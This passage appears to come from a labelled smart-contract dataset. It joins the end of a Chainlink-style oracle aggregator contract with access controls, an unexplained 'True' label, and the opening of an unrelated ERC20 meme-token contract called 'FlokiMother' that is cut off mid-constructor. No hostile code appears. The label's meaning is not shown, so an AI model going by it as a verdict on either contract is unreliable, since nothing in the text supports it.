recordedFunds.allocated = recordedFunds.allocated.sub(amount);
assert(linkToken.transfer(_recipient, uint256(amount)));
}
/**
* @notice transfers the owner's LINK to another address
* @param _recipient is the address to send the LINK to
* @param _amount is the amount of LINK to send
*/
function withdrawFunds(address _recipient, uint256 _amount)
external
onlyOwner()
{
uint256 available = uint256(recordedFunds.available);
require(available.sub(requiredReserve(paymentAmount)) >= _amount, "insufficient reserve funds");
require(linkToken.transfer(_recipient, _amount), "token transfer failed");
updateAvailableFunds();
}
/**
* @notice get the admin address of an oracle
* @param _oracle is the address of the oracle whose admin is being queried
*/
function getAdmin(address _oracle)
external
view
returns (address)
{
return oracles[_oracle].admin;
}
/**
* @notice transfer the admin address for an oracle
* @param _oracle is the address of the oracle whose admin is being transferred
* @param _newAdmin is the new admin address
*/
function transferAdmin(address _oracle, address _newAdmin)
external
{
require(oracles[_oracle].admin == msg.sender, "only callable by admin");
oracles[_oracle].pendingAdmin = _newAdmin;
emit OracleAdminUpdateRequested(_oracle, msg.sender, _newAdmin);
}
/**
* @notice accept the admin address transfer for an oracle
* @param _oracle is the address of the oracle whose admin is being transferred
*/
function acceptAdmin(address _oracle)
external
{
require(oracles[_oracle].pendingAdmin == msg.sender, "only callable by pending admin");
oracles[_oracle].pendingAdmin = address(0);
oracles[_oracle].admin = msg.sender;
emit OracleAdminUpdated(_oracle, msg.sender);
}
/**
* @notice allows non-oracles to request a new round
*/
function requestNewRound()
external
returns (uint80)
{
require(requesters[msg.sender].authorized, "not authorized requester");
uint32 current = reportingRoundId;
require(rounds[current].updatedAt > 0 || timedOut(current), "prev round must be supersedable");
uint32 newRoundId = current.add(1);
requesterInitializeNewRound(newRoundId);
return newRoundId;
}
/**
* @notice allows the owner to specify new non-oracles to start new rounds
* @param _requester is the address to set permissions for
* @param _authorized is a boolean specifying whether they can start new rounds or not
* @param _delay is the number of rounds the requester must wait before starting another round
*/
function setRequesterPermissions(address _requester, bool _authorized, uint32 _delay)
external
onlyOwner()
{
if (requesters[_requester].authorized == _authorized) return;
if (_authorized) {
requesters[_requester].authorized = _authorized;
requesters[_requester].delay = _delay;
} else {
delete requesters[_requester];
}
emit RequesterPermissionsSet(_requester, _authorized, _delay);
}
/**
* @notice called through LINK's transferAndCall to update available funds
* in the same transaction as the funds were transferred to the aggregator
* @param _data is mostly ignored. It is checked for length, to be sure
* nothing strange is passed in.
*/
function onTokenTransfer(address, uint256, bytes calldata _data)
external
{
require(_data.length == 0, "transfer doesn't accept calldata");
updateAvailableFunds();
}
/**
* @notice a method to provide all current info oracles need. Intended only
* only to be callable by oracles. Not for use by contracts to read state.
* @param _oracle the address to look up information for.
*/
function oracleRoundState(address _oracle, uint32 _queriedRoundId)
external
view
returns (
bool _eligibleToSubmit,
uint32 _roundId,
int256 _latestSubmission,
uint64 _startedAt,
uint64 _timeout,
uint128 _availableFunds,
uint8 _oracleCount,
uint128 _paymentAmount
)
{
require(msg.sender == tx.origin, "off-chain reading only");
if (_queriedRoundId > 0) {
Round storage round = rounds[_queriedRoundId];
RoundDetails storage details = details[_queriedRoundId];
return (
eligibleForSpecificRound(_oracle, _queriedRoundId),
_queriedRoundId,
oracles[_oracle].latestSubmission,
round.startedAt,
details.timeout,
recordedFunds.available,
oracleCount(),
(round.startedAt > 0 ? details.paymentAmount : paymentAmount)
);
} else {
return oracleRoundStateSuggestRound(_oracle);
}
}
/**
* @notice method to update the address which does external data validation.
* @param _newValidator designates the address of the new validation contract.
*/
function setValidator(address _newValidator)
public
onlyOwner()
{
address previous = address(validator);
if (previous != _newValidator) {
validator = AggregatorValidatorInterface(_newValidator);
emit ValidatorUpdated(previous, _newValidator);
}
}
/**
* Private
*/
function initializeNewRound(uint32 _roundId)
private
{
updateTimedOutRoundInfo(_roundId.sub(1));
reportingRoundId = _roundId;
RoundDetails memory nextDetails = RoundDetails(
new int256[](0),
maxSubmissionCount,
minSubmissionCount,
timeout,
paymentAmount
);
details[_roundId] = nextDetails;
rounds[_roundId].startedAt = uint64(block.timestamp);
emit NewRound(_roundId, msg.sender, rounds[_roundId].startedAt);
}
function oracleInitializeNewRound(uint32 _roundId)
private
{
if (!newRound(_roundId)) return;
uint256 lastStarted = oracles[msg.sender].lastStartedRound; // cache storage reads
if (_roundId <= lastStarted + restartDelay && lastStarted != 0) return;
initializeNewRound(_roundId);
oracles[msg.sender].lastStartedRound = _roundId;
}
function requesterInitializeNewRound(uint32 _roundId)
private
{
if (!newRound(_roundId)) return;
uint256 lastStarted = requesters[msg.sender].lastStartedRound; // cache storage reads
require(_roundId > lastStarted + requesters[msg.sender].delay || lastStarted == 0, "must delay requests");
initializeNewRound(_roundId);
requesters[msg.sender].lastStartedRound = _roundId;
}
function updateTimedOutRoundInfo(uint32 _roundId)
private
{
if (!timedOut(_roundId)) return;
uint32 prevId = _roundId.sub(1);
rounds[_roundId].answer = rounds[prevId].answer;
rounds[_roundId].answeredInRound = rounds[prevId].answeredInRound;
rounds[_roundId].updatedAt = uint64(block.timestamp);
delete details[_roundId];
}
function eligibleForSpecificRound(address _oracle, uint32 _queriedRoundId)
private
view
returns (bool _eligible)
{
if (rounds[_queriedRoundId].startedAt > 0) {
return acceptingSubmissions(_queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0;
} else {
return delayed(_oracle, _queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0;
}
}
function oracleRoundStateSuggestRound(address _oracle)
private
view
returns (
bool _eligibleToSubmit,
uint32 _roundId,
int256 _latestSubmission,
uint64 _startedAt,
uint64 _timeout,
uint128 _availableFunds,
uint8 _oracleCount,
uint128 _paymentAmount
)
{
Round storage round = rounds[0];
OracleStatus storage oracle = oracles[_oracle];
bool shouldSupersede = oracle.lastReportedRound == reportingRoundId || !acceptingSubmissions(reportingRoundId);
// Instead of nudging oracles to submit to the next round, the inclusion of
// the shouldSupersede bool in the if condition pushes them towards
// submitting in a currently open round.
if (supersedable(reportingRoundId) && shouldSupersede) {
_roundId = reportingRoundId.add(1);
round = rounds[_roundId];
_paymentAmount = paymentAmount;
_eligibleToSubmit = delayed(_oracle, _roundId);
} else {
_roundId = reportingRoundId;
round = rounds[_roundId];
_paymentAmount = details[_roundId].paymentAmount;
_eligibleToSubmit = acceptingSubmissions(_roundId);
}
if (validateOracleRound(_oracle, _roundId).length != 0) {
_eligibleToSubmit = false;
}
return (
_eligibleToSubmit,
_roundId,
oracle.latestSubmission,
round.startedAt,
details[_roundId].timeout,
recordedFunds.available,
oracleCount(),
_paymentAmount
);
}
function updateRoundAnswer(uint32 _roundId)
internal
returns (bool, int256)
{
if (details[_roundId].submissions.length < details[_roundId].minSubmissions) {
return (false, 0);
}
int256 newAnswer = Median.calculateInplace(details[_roundId].submissions);
rounds[_roundId].answer = newAnswer;
rounds[_roundId].updatedAt = uint64(block.timestamp);
rounds[_roundId].answeredInRound = _roundId;
latestRoundId = _roundId;
emit AnswerUpdated(newAnswer, _roundId, now);
return (true, newAnswer);
}
function validateAnswer(
uint32 _roundId,
int256 _newAnswer
)
private
{
AggregatorValidatorInterface av = validator; // cache storage reads
if (address(av) == address(0)) return;
uint32 prevRound = _roundId.sub(1);
uint32 prevAnswerRoundId = rounds[prevRound].answeredInRound;
int256 prevRoundAnswer = rounds[prevRound].answer;
// We do not want the validator to ever prevent reporting, so we limit its
// gas usage and catch any errors that may arise.
try av.validate{gas: VALIDATOR_GAS_LIMIT}(
prevAnswerRoundId,
prevRoundAnswer,
_roundId,
_newAnswer
) {} catch {}
}
function payOracle(uint32 _roundId)
private
{
uint128 payment = details[_roundId].paymentAmount;
Funds memory funds = recordedFunds;
funds.available = funds.available.sub(payment);
funds.allocated = funds.allocated.add(payment);
recordedFunds = funds;
oracles[msg.sender].withdrawable = oracles[msg.sender].withdrawable.add(payment);
emit AvailableFundsUpdated(funds.available);
}
function recordSubmission(int256 _submission, uint32 _roundId)
private
{
require(acceptingSubmissions(_roundId), "round not accepting submissions");
details[_roundId].submissions.push(_submission);
oracles[msg.sender].lastReportedRound = _roundId;
oracles[msg.sender].latestSubmission = _submission;
emit SubmissionReceived(_submission, _roundId, msg.sender);
}
function deleteRoundDetails(uint32 _roundId)
private
{
if (details[_roundId].submissions.length < details[_roundId].maxSubmissions) return;
delete details[_roundId];
}
function timedOut(uint32 _roundId)
private
view
returns (bool)
{
uint64 startedAt = rounds[_roundId].startedAt;
uint32 roundTimeout = details[_roundId].timeout;
return startedAt > 0 && roundTimeout > 0 && startedAt.add(roundTimeout) < block.timestamp;
}
function getStartingRound(address _oracle)
private
view
returns (uint32)
{
uint32 currentRound = reportingRoundId;
if (currentRound != 0 && currentRound == oracles[_oracle].endingRound) {
return currentRound;
}
return currentRound.add(1);
}
function previousAndCurrentUnanswered(uint32 _roundId, uint32 _rrId)
private
view
returns (bool)
{
return _roundId.add(1) == _rrId && rounds[_rrId].updatedAt == 0;
}
function requiredReserve(uint256 payment)
private
view
returns (uint256)
{
return payment.mul(oracleCount()).mul(RESERVE_ROUNDS);
}
function addOracle(
address _oracle,
address _admin
)
private
{
require(!oracleEnabled(_oracle), "oracle already enabled");
require(_admin != address(0), "cannot set admin to 0");
require(oracles[_oracle].admin == address(0) || oracles[_oracle].admin == _admin, "owner cannot overwrite admin");
oracles[_oracle].startingRound = getStartingRound(_oracle);
oracles[_oracle].endingRound = ROUND_MAX;
oracles[_oracle].index = uint16(oracleAddresses.length);
oracleAddresses.push(_oracle);
oracles[_oracle].admin = _admin;
emit OraclePermissionsUpdated(_oracle, true);
emit OracleAdminUpdated(_oracle, _admin);
}
function removeOracle(
address _oracle
)
private
{
require(oracleEnabled(_oracle), "oracle not enabled");
oracles[_oracle].endingRound = reportingRoundId.add(1);
address tail = oracleAddresses[uint256(oracleCount()).sub(1)];
uint16 index = oracles[_oracle].index;
oracles[tail].index = index;
delete oracles[_oracle].index;
oracleAddresses[index] = tail;
oracleAddresses.pop();
emit OraclePermissionsUpdated(_oracle, false);
}
function validateOracleRound(address _oracle, uint32 _roundId)
private
view
returns (bytes memory)
{
// cache storage reads
uint32 startingRound = oracles[_oracle].startingRound;
uint32 rrId = reportingRoundId;
if (startingRound == 0) return "not enabled oracle";
if (startingRound > _roundId) return "not yet enabled oracle";
if (oracles[_oracle].endingRound < _roundId) return "no longer allowed oracle";
if (oracles[_oracle].lastReportedRound >= _roundId) return "cannot report on previous rounds";
if (_roundId != rrId && _roundId != rrId.add(1) && !previousAndCurrentUnanswered(_roundId, rrId)) return "invalid round to report";
if (_roundId != 1 && !supersedable(_roundId.sub(1))) return "previous round not supersedable";
}
function supersedable(uint32 _roundId)
private
view
returns (bool)
{
return rounds[_roundId].updatedAt > 0 || timedOut(_roundId);
}
function oracleEnabled(address _oracle)
private
view
returns (bool)
{
return oracles[_oracle].endingRound == ROUND_MAX;
}
function acceptingSubmissions(uint32 _roundId)
private
view
returns (bool)
{
return details[_roundId].maxSubmissions != 0;
}
function delayed(address _oracle, uint32 _roundId)
private
view
returns (bool)
{
uint256 lastStarted = oracles[_oracle].lastStartedRound;
return _roundId > lastStarted + restartDelay || lastStarted == 0;
}
function newRound(uint32 _roundId)
private
view
returns (bool)
{
return _roundId == reportingRoundId.add(1);
}
function validRoundId(uint256 _roundId)
private
view
returns (bool)
{
return _roundId <= ROUND_MAX;
}
}
interface AccessControllerInterface {
function hasAccess(address user, bytes calldata data) external view returns (bool);
}
/**
* @title SimpleWriteAccessController
* @notice Gives access to accounts explicitly added to an access list by the
* controller's owner.
* @dev does not make any special permissions for externally, see
* SimpleReadAccessController for that.
*/
contract SimpleWriteAccessController is AccessControllerInterface, Owned {
bool public checkEnabled;
mapping(address => bool) internal accessList;
event AddedAccess(address user);
event RemovedAccess(address user);
event CheckAccessEnabled();
event CheckAccessDisabled();
constructor()
public
{
checkEnabled = true;
}
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory
)
public
view
virtual
override
returns (bool)
{
return accessList[_user] || !checkEnabled;
}
/**
* @notice Adds an address to the access list
* @param _user The address to add
*/
function addAccess(address _user)
external
onlyOwner()
{
if (!accessList[_user]) {
accessList[_user] = true;
emit AddedAccess(_user);
}
}
/**
* @notice Removes an address from the access list
* @param _user The address to remove
*/
function removeAccess(address _user)
external
onlyOwner()
{
if (accessList[_user]) {
accessList[_user] = false;
emit RemovedAccess(_user);
}
}
/**
* @notice makes the access check enforced
*/
function enableAccessCheck()
external
onlyOwner()
{
if (!checkEnabled) {
checkEnabled = true;
emit CheckAccessEnabled();
}
}
/**
* @notice makes the access check unenforced
*/
function disableAccessCheck()
external
onlyOwner()
{
if (checkEnabled) {
checkEnabled = false;
emit CheckAccessDisabled();
}
}
/**
* @dev reverts if the caller does not have access
*/
modifier checkAccess() {
require(hasAccess(msg.sender, msg.data), "No access");
_;
}
}
/**
* @title SimpleReadAccessController
* @notice Gives access to:
* - any externally owned account (note that offchain actors can always read
* any contract storage regardless of onchain access control measures, so this
* does not weaken the access control while improving usability)
* - accounts explicitly added to an access list
* @dev SimpleReadAccessController is not suitable for access controlling writes
* since it grants any externally owned account access! See
* SimpleWriteAccessController for that.
*/
contract SimpleReadAccessController is SimpleWriteAccessController {
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory _calldata
)
public
view
virtual
override
returns (bool)
{
return super.hasAccess(_user, _calldata) || _user == tx.origin;
}
}
/**
* @title AccessControlled FluxAggregator contract
* @notice This contract requires addresses to be added to a controller
* in order to read the answers stored in the FluxAggregator contract
*/
contract AccessControlledAggregator is FluxAggregator, SimpleReadAccessController {
/**
* @notice set up the aggregator with initial configuration
* @param _link The address of the LINK token
* @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK)
* @param _timeout is the number of seconds after the previous round that are
* allowed to lapse before allowing an oracle to skip an unfinished round
* @param _validator is an optional contract address for validating
* external validation of answers
* @param _minSubmissionValue is an immutable check for a lower bound of what
* submission values are accepted from an oracle
* @param _maxSubmissionValue is an immutable check for an upper bound of what
* submission values are accepted from an oracle
* @param _decimals represents the number of decimals to offset the answer by
* @param _description a short description of what is being reported
*/
constructor(
address _link,
uint128 _paymentAmount,
uint32 _timeout,
address _validator,
int256 _minSubmissionValue,
int256 _maxSubmissionValue,
uint8 _decimals,
string memory _description
) public FluxAggregator(
_link,
_paymentAmount,
_timeout,
_validator,
_minSubmissionValue,
_maxSubmissionValue,
_decimals,
_description
){}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answerInRound is equal to roundId when the round didn't time out
* and was completed regularly.
* @dev overridden funcion to add the checkAccess() modifier
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet
* received maxSubmissions) answer and updatedAt may change between queries.
*/
function getRoundData(uint80 _roundId)
public
view
override
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.getRoundData(_roundId);
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values. Consumers are encouraged to
* use this more fully featured method over the "legacy" latestAnswer
* functions. Consumers are encouraged to check that they're receiving fresh
* data by inspecting the updatedAt and answeredInRound return values.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started. This is 0
* if the round hasn't been started yet.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed. answeredInRound may be smaller than roundId when the round
* timed out. answerInRound is equal to roundId when the round didn't time out
* and was completed regularly.
* @dev overridden funcion to add the checkAccess() modifier
* @dev Note that for in-progress rounds (i.e. rounds that haven't yet
* received maxSubmissions) answer and updatedAt may change between queries.
*/
function latestRoundData()
public
view
override
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.latestRoundData();
}
/**
* @notice get the most recently reported answer
* @dev overridden funcion to add the checkAccess() modifier
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestAnswer()
public
view
override
checkAccess()
returns (int256)
{
return super.latestAnswer();
}
/**
* @notice get the most recently reported round ID
* @dev overridden funcion to add the checkAccess() modifier
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestRound()
public
view
override
checkAccess()
returns (uint256)
{
return super.latestRound();
}
/**
* @notice get the most recent updated at timestamp
* @dev overridden funcion to add the checkAccess() modifier
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestTimestamp()
public
view
override
checkAccess()
returns (uint256)
{
return super.latestTimestamp();
}
/**
* @notice get past rounds answers
* @dev overridden funcion to add the checkAccess() modifier
* @param _roundId the round number to retrieve the answer for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getAnswer(uint256 _roundId)
public
view
override
checkAccess()
returns (int256)
{
return super.getAnswer(_roundId);
}
/**
* @notice get timestamp when an answer was last updated
* @dev overridden funcion to add the checkAccess() modifier
* @param _roundId the round number to retrieve the updated timestamp for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getTimestamp(uint256 _roundId)
public
view
override
checkAccess()
returns (uint256)
{
return super.getTimestamp(_roundId);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() virtual {
require(msg.sender == owner);
_;
}
/**
* @dev propeses a new owner
* Can only be called by the current owner.
*/
function proposeOwner(address payable _newOwner) external onlyOwner {
proposedOwner = _newOwner;
}
/**
* @dev claims ownership of the contract
* Can only be called by the new proposed owner.
*/
function claimOwnership() external {
require(msg.sender == proposedOwner);
emit OwnershipTransferred(owner, proposedOwner);
owner = proposedOwner;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity 0.8.4;
contract FlokiMother is ERC20, Owned {
uint256 public minSupply;
address public beneficiary;
bool public feesEnabled;
mapping(address => bool) public isExcludedFromFee;
event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount);
event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary);
event FeesEnabledUpdated(bool enabled);
event ExcludedFromFeeUpdated(address account, bool excluded);
constructor() ERC20("FlokiMother", "FlokiMother") {
minSupply = 100000000 ether;
uint256 totalSupply = 1000000000000000 ether;
feesEnabled = false;
_mint(_msgSender(), totalSupply);
isExcludedFromFee[msg.sender] = true;
